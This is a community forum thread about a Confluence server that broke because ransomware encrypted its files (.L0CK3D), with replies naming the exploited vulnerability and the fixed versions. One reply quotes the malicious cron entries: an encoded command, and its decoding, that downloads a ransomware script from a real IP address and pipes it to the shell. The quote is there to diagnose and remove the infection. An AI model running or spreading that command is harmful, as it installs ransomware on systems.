http status 404

Ilya Tech
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November 1, 2023

Hello everyone,i've been using conflunece almost one year, and never have issues on it

But the last week it was broken, i've tried to fix it, but unlucky

this is the log's

Caused by: org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'draftManagerTarget' defined in class path resource [services/contentServiceContext.xml]: Cannot resolve reference to bean 'draftDao' while setting bean property 'draftDao'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'draftDao' defined in class path resource [services/contentServiceContext.xml]: Cannot resolve reference to bean 'indexer' while setting bean property 'indexer'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'indexer' defined in class path resource [indexingSubsystemContext.xml]: Cannot resolve reference to bean 'changeIndexer' while setting bean property 'changeIndexer'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'changeIndexer' defined in class path resource [indexingSubsystemContext.xml]: Cannot resolve reference to bean 'changeSearchIndexAccessor' while setting bean property 'searchIndexAccessor'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'changeSearchIndexAccessor' defined in class path resource [indexingSubsystemContext.xml]: Cannot resolve reference to bean 'tenantedChangeLuceneConnection' while setting constructor argument; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'tenantedChangeLuceneConnection' defined in class path resource [indexingSubsystemContext.xml]: Bean instantiation via factory method failed; nested exception is org.springframework.beans.BeanInstantiationException: Failed to instantiate [com.atlassian.confluence.internal.search.v2.lucene.LuceneConnection]: Factory method 'createChangeIndexConnection' threw exception; nested exception is java.lang.NumberFormatException: For input string: "gen.L0CK3D"
at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveReference(BeanDefinitionValueResolver.java:342)
at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveValueIfNecessary(BeanDefinitionValueResolver.java:113)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.applyPropertyValues(AbstractAutowireCapableBeanFactory.java:1707)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.populateBean(AbstractAutowireCapableBeanFactory.java:1452)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:619)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:542)
at org.springframework.beans.factory.support.AbstractBeanFactory.lambda$doGetBean$0(AbstractBeanFactory.java:335)
at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:234)
at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:333)
at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:208)
at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveReference(BeanDefinitionValueResolver.java:330)
... 213 more
Caused by: org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'draftDao' defined in class path resource [services/contentServiceContext.xml]: Cannot resolve reference to bean 'indexer' while setting bean property 'indexer'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'indexer' defined in class path resource [indexingSubsystemContext.xml]: Cannot resolve reference to bean 'changeIndexer' while setting bean property 'changeIndexer'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'changeIndexer' defined in class path resource [indexingSubsystemContext.xml]: Cannot resolve reference to bean 'changeSearchIndexAccessor' while setting bean property 'searchIndexAccessor'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'changeSearchIndexAccessor' defined in class path resource [indexingSubsystemContext.xml]: Cannot resolve reference to bean 'tenantedChangeLuceneConnection' while setting constructor argument; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'tenantedChangeLuceneConnection' defined in class path resource [indexingSubsystemContext.xml]: Bean instantiation via factory method failed; nested exception is org.springframework.beans.BeanInstantiationException: Failed to instantiate [com.atlassian.confluence.internal.search.v2.lucene.LuceneConnection]: Factory method 'createChangeIndexConnection' threw exception; nested exception is java.lang.NumberFormatException: For input string: "gen.L0CK3D"
at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveReference(BeanDefinitionValueResolver.java:342)
at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveValueIfNecessary(BeanDefinitionValueResolver.java:113)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.applyPropertyValues(AbstractAutowireCapableBeanFactory.java:1707)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.populateBean(AbstractAutowireCapableBeanFactory.java:1452)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:619)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:542)
at org.springframework.beans.factory.support.AbstractBeanFactory.lambda$doGetBean$0(AbstractBeanFactory.java:335)
at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:234)
at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:333)
at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:208)
at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveReference(BeanDefinitionValueResolver.java:330)
... 223 more
Caused by: org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'indexer' defined in class path resource [indexingSubsystemContext.xml]: Cannot resolve reference to bean 'changeIndexer' while setting bean property 'changeIndexer'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'changeIndexer' defined in class path resource [indexingSubsystemContext.xml]: Cannot resolve reference to bean 'changeSearchIndexAccessor' while setting bean property 'searchIndexAccessor'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'changeSearchIndexAccessor' defined in class path resource [indexingSubsystemContext.xml]: Cannot resolve reference to bean 'tenantedChangeLuceneConnection' while setting constructor argument; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'tenantedChangeLuceneConnection' defined in class path resource [indexingSubsystemContext.xml]: Bean instantiation via factory method failed; nested exception is org.springframework.beans.BeanInstantiationException: Failed to instantiate [com.atlassian.confluence.internal.search.v2.lucene.LuceneConnection]: Factory method 'createChangeIndexConnection' threw exception; nested exception is java.lang.NumberFormatException: For input string: "gen.L0CK3D"
at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveReference(BeanDefinitionValueResolver.java:342)
at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveValueIfNecessary(BeanDefinitionValueResolver.java:113)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.applyPropertyValues(AbstractAutowireCapableBeanFactory.java:1707)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.populateBean(AbstractAutowireCapableBeanFactory.java:1452)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:619)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:542)
at org.springframework.beans.factory.support.AbstractBeanFactory.lambda$doGetBean$0(AbstractBeanFactory.java:335)
at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:234)
at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:333)
at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:208)
at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveReference(BeanDefinitionValueResolver.java:330)
... 233 more
Caused by: org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'changeIndexer' defined in class path resource [indexingSubsystemContext.xml]: Cannot resolve reference to bean 'changeSearchIndexAccessor' while setting bean property 'searchIndexAccessor'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'changeSearchIndexAccessor' defined in class path resource [indexingSubsystemContext.xml]: Cannot resolve reference to bean 'tenantedChangeLuceneConnection' while setting constructor argument; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'tenantedChangeLuceneConnection' defined in class path resource [indexingSubsystemContext.xml]: Bean instantiation via factory method failed; nested exception is org.springframework.beans.BeanInstantiationException: Failed to instantiate [com.atlassian.confluence.internal.search.v2.lucene.LuceneConnection]: Factory method 'createChangeIndexConnection' threw exception; nested exception is java.lang.NumberFormatException: For input string: "gen.L0CK3D"
at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveReference(BeanDefinitionValueResolver.java:342)
at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveValueIfNecessary(BeanDefinitionValueResolver.java:113)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.applyPropertyValues(AbstractAutowireCapableBeanFactory.java:1707)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.populateBean(AbstractAutowireCapableBeanFactory.java:1452)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:619)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:542)
at org.springframework.beans.factory.support.AbstractBeanFactory.lambda$doGetBean$0(AbstractBeanFactory.java:335)
at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:234)
at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:333)
at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:208)
at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveReference(BeanDefinitionValueResolver.java:330)
... 243 more
Caused by: org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'changeSearchIndexAccessor' defined in class path resource [indexingSubsystemContext.xml]: Cannot resolve reference to bean 'tenantedChangeLuceneConnection' while setting constructor argument; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'tenantedChangeLuceneConnection' defined in class path resource [indexingSubsystemContext.xml]: Bean instantiation via factory method failed; nested exception is org.springframework.beans.BeanInstantiationException: Failed to instantiate [com.atlassian.confluence.internal.search.v2.lucene.LuceneConnection]: Factory method 'createChangeIndexConnection' threw exception; nested exception is java.lang.NumberFormatException: For input string: "gen.L0CK3D"
at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveReference(BeanDefinitionValueResolver.java:342)
at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveValueIfNecessary(BeanDefinitionValueResolver.java:113)
at org.springframework.beans.factory.support.ConstructorResolver.resolveConstructorArguments(ConstructorResolver.java:693)
at org.springframework.beans.factory.support.ConstructorResolver.autowireConstructor(ConstructorResolver.java:198)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.autowireConstructor(AbstractAutowireCapableBeanFactory.java:1372)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBeanInstance(AbstractAutowireCapableBeanFactory.java:1222)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:582)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:542)
at org.springframework.beans.factory.support.AbstractBeanFactory.lambda$doGetBean$0(AbstractBeanFactory.java:335)
at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:234)
at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:333)
at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:208)
at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveReference(BeanDefinitionValueResolver.java:330)
... 253 more
Caused by: org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'tenantedChangeLuceneConnection' defined in class path resource [indexingSubsystemContext.xml]: Bean instantiation via factory method failed; nested exception is org.springframework.beans.BeanInstantiationException: Failed to instantiate [com.atlassian.confluence.internal.search.v2.lucene.LuceneConnection]: Factory method 'createChangeIndexConnection' threw exception; nested exception is java.lang.NumberFormatException: For input string: "gen.L0CK3D"
at org.springframework.beans.factory.support.ConstructorResolver.instantiate(ConstructorResolver.java:658)
at org.springframework.beans.factory.support.ConstructorResolver.instantiateUsingFactoryMethod(ConstructorResolver.java:486)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.instantiateUsingFactoryMethod(AbstractAutowireCapableBeanFactory.java:1352)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBeanInstance(AbstractAutowireCapableBeanFactory.java:1195)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:582)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:542)
at org.springframework.beans.factory.support.AbstractBeanFactory.lambda$doGetBean$0(AbstractBeanFactory.java:335)
at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:234)
at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:333)
at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:208)
at org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveReference(BeanDefinitionValueResolver.java:330)
... 265 more
Caused by: org.springframework.beans.BeanInstantiationException: Failed to instantiate [com.atlassian.confluence.internal.search.v2.lucene.LuceneConnection]: Factory method 'createChangeIndexConnection' threw exception; nested exception is java.lang.NumberFormatException: For input string: "gen.L0CK3D"
at org.springframework.beans.factory.support.SimpleInstantiationStrategy.instantiate(SimpleInstantiationStrategy.java:185)
at org.springframework.beans.factory.support.ConstructorResolver.instantiate(ConstructorResolver.java:653)
... 275 more
Caused by: java.lang.NumberFormatException: For input string: "gen.L0CK3D"
at java.base/java.lang.NumberFormatException.forInputString(Unknown Source)
at java.base/java.lang.Long.parseLong(Unknown Source)
at org.apache.lucene.index.SegmentInfos.generationFromSegmentsFileName(SegmentInfos.java:242)
at org.apache.lucene.index.SegmentInfos.getLastCommitGeneration(SegmentInfos.java:177)
at org.apache.lucene.index.SegmentInfos$FindSegmentsFile.run(SegmentInfos.java:715)
at org.apache.lucene.index.SegmentInfos$FindSegmentsFile.run(SegmentInfos.java:663)
at org.apache.lucene.index.SegmentInfos.read(SegmentInfos.java:383)
at org.apache.lucene.index.IndexWriter.<init>(IndexWriter.java:711)
at com.atlassian.confluence.internal.search.v2.lucene.LuceneConnection.upgradeIndexIfNecessary(LuceneConnection.java:595)
at com.atlassian.confluence.internal.search.v2.lucene.LuceneConnection.ensureCorrectIndexFormat(LuceneConnection.java:580)
at com.atlassian.confluence.internal.search.v2.lucene.LuceneConnection.setUpWriterAndSearcher(LuceneConnection.java:544)
at com.atlassian.confluence.internal.search.v2.lucene.LuceneConnection.<init>(LuceneConnection.java:119)
at com.atlassian.confluence.internal.search.v2.lucene.LuceneConnection.<init>(LuceneConnection.java:127)
at com.atlassian.confluence.internal.search.v2.lucene.LuceneConnection.<init>(LuceneConnection.java:143)
at com.atlassian.confluence.internal.index.lucene.LuceneConnectionFactory.createIndexConnection(LuceneConnectionFactory.java:56)
at com.atlassian.confluence.internal.index.lucene.LuceneConnectionFactory.createChangeIndexConnection(LuceneConnectionFactory.java:47)
at jdk.internal.reflect.GeneratedMethodAccessor82.invoke(Unknown Source)
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
at java.base/java.lang.reflect.Method.invoke(Unknown Source)
at org.springframework.beans.factory.support.SimpleInstantiationStrategy.instantiate(SimpleInstantiationStrategy.java:154)
... 276 more
2023-10-31 19:37:11,408 ERROR [Catalina-utility-1] [ContainerBase.[Standalone].[localhost].[/]] log Exception sending context destroyed event to listener instance of class [com.atlassian.confluence.plugin.PluginFrameworkContextListener]
java.lang.NullPointerException
at com.atlassian.spring.container.ContainerManager.getComponent(ContainerManager.java:33)
at com.atlassian.confluence.plugin.PluginFrameworkContextListener.getPluginSystemLifecycle(PluginFrameworkContextListener.java:190)
at com.atlassian.confluence.plugin.PluginFrameworkContextListener.contextDestroyed(PluginFrameworkContextListener.java:145)
at org.apache.catalina.core.StandardContext.listenerStop(StandardContext.java:4814)
at org.apache.catalina.core.StandardContext.stopInternal(StandardContext.java:5477)
at org.apache.catalina.util.LifecycleBase.stop(LifecycleBase.java:257)
at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:187)
at org.apache.catalina.core.ContainerBase$StartChild.call(ContainerBase.java:1396)
at org.apache.catalina.core.ContainerBase$StartChild.call(ContainerBase.java:1386)
at java.base/java.util.concurrent.FutureTask.run(Unknown Source)
at java.base/java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(Unknown Source)
at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source)
at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.base/java.lang.Thread.run(Unknown Source)
2023-10-31 19:37:11,410 INFO [Catalina-utility-1] [com.atlassian.confluence.lifecycle] contextDestroyed Stopping Confluence

9 answers

1 vote
wilson madrigal
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November 6, 2023

gen.L0CK3D 

It seems a malware, my friend.

Check your file system. Do you have others files with extension .L0CK3D ?

Kamil Beer
Contributor
November 6, 2023

This is the answer.

0 votes
Ilya Tech
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November 13, 2023

Backup of server fixed my problem, but now i have the new trouble after i got new lincesed key
test.png

0 votes
Paul Dennis November 11, 2023

Is there a solution to this other than restore from backup

Adrien Houdart November 11, 2023

Try to get in touch with Atlassian support, I think they are your best chance to find a solution.

0 votes
Пётр
I'm New Here
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November 7, 2023

Шифровальщик запускается через cron, от имени confluence

Команда crontab -u confluence -e

выводит кучу строк которые запускают процессы
*/15 * * * * echo Y3VybCAtayAtZnNTTCAgaHR0cDovLzEzLjY4LjE5OS45MC9teXNxbF9jaGVjay5zaCB8IHNo | base64 -d | sh
*/15 * * * * echo Y3VybCAtayAtZnNTTCAgaHR0cDovLzEzLjY4LjE5OS45MC9teXNxbF9jaGVjay5zaCB8IHNo | base64 -d | sh
*/15 * * * * echo Y3VybCAtayAtZnNTTCAgaHR0cDovLzEzLjY4LjE5OS45MC9teXNxbF9jaGVjay5zaCB8IHNo | base64 -d | sh
*/15 * * * * echo Y3VybCAtayAtZnNTTCAgaHR0cDovLzEzLjY4LjE5OS45MC9teXNxbF9jaGVjay5zaCB8IHNo | base64 -d | sh

 

расшифровав из base64 строку Y3VybCAtayAtZnNTTCAgaHR0cDovLzEzLjY4LjE5OS45MC9teXNxbF9jaGVjay5zaCB8IHNo

получаем команду 

curl -k -fsSL http://13.68.199.90/mysql_check.sh | sh

откуда и скачивается для выполнения скрипт шифровальщика.

Так что переустановка ОС тут не нужна, просто почистить список запуска cron 

Если кто разберется как можно декодировать файлы - дайте знать, пожалуйста.

Adrien Houdart November 7, 2023

Thanks for the information.

Cerber uses AES-256 (symmetric) and RSA (asymmetric) encryption algorithms which makes it difficult / impossible to decrypt without the encryption key.

Пётр
I'm New Here
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November 7, 2023

Please look at the text of the script, maybe there is a link to the keys in it?

0 votes
Adrien Houdart November 7, 2023

This vulnerability is fixed for the following versions of confluence:

  • 7.19.16
  • 8.3.4
  • 8.4.4
  • 8.5.3
  • 8.6.1

More information on the vulnerability:

https://confluence.atlassian.com/security/cve-2023-22518-improper-authorization-vulnerability-in-confluence-data-center-and-server-1311473907.html

0 votes
来永国
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November 6, 2023

I found it yesterday. At present, it is all configuration files, and the contents of the attachment have .l0ck3D. Is there any way to solve this problem?

 

image.pngimage.pngimage.png

来永国
I'm New Here
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November 7, 2023

Is there a repair plan for this vulnerability?

Adrien Houdart November 7, 2023

Restore a backup if you have one... 

0 votes
Adrien Houdart November 6, 2023

Got the same issue with confluence (version 8.5) on docker

It seems to be a ransomware (files in my docker volume were encrypted)

0 votes
Toby User
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November 6, 2023

Hi @Ilya Tech did you fix the problem? What did you end up doing?

0 votes
Fabio Racobaldo _Herzum_
Community Leader
Community Leader
Community Leaders are connectors, ambassadors, and mentors. On the online community, they serve as thought leaders, product experts, and moderators.
November 3, 2023

Hi @Ilya Tech  and welcome,

try to shutdown confluence, clean plugin cache and restart.

Fabio

Kamil Beer
Contributor
November 7, 2023

This will not help at all, as many files are corrupted.

Paul Dennis November 16, 2023

I have restored from backup. But can someone clarify if this means the hackers have access to the data in CF or if it just encrypts the files ?

Kamil Beer
Contributor
November 20, 2023

@Paul Dennis, I have read a security advisory that mentioned that the hackers have access to the data AND have encrypted the files. However is that true though, nobody knows.

Paul Dennis November 20, 2023

Thanks for reply. Very poor if Atlassian are not making this clear ?

Adrien Houdart November 20, 2023

My guess is that copying all the files to a remote server for each instance of Confluence they have hacked would be too heavy (storage, bandwidth). So my guess is that they only encrypt the files by running a script on the server running Confluence and that it.

But as you said, Atlassian is not helping us ..

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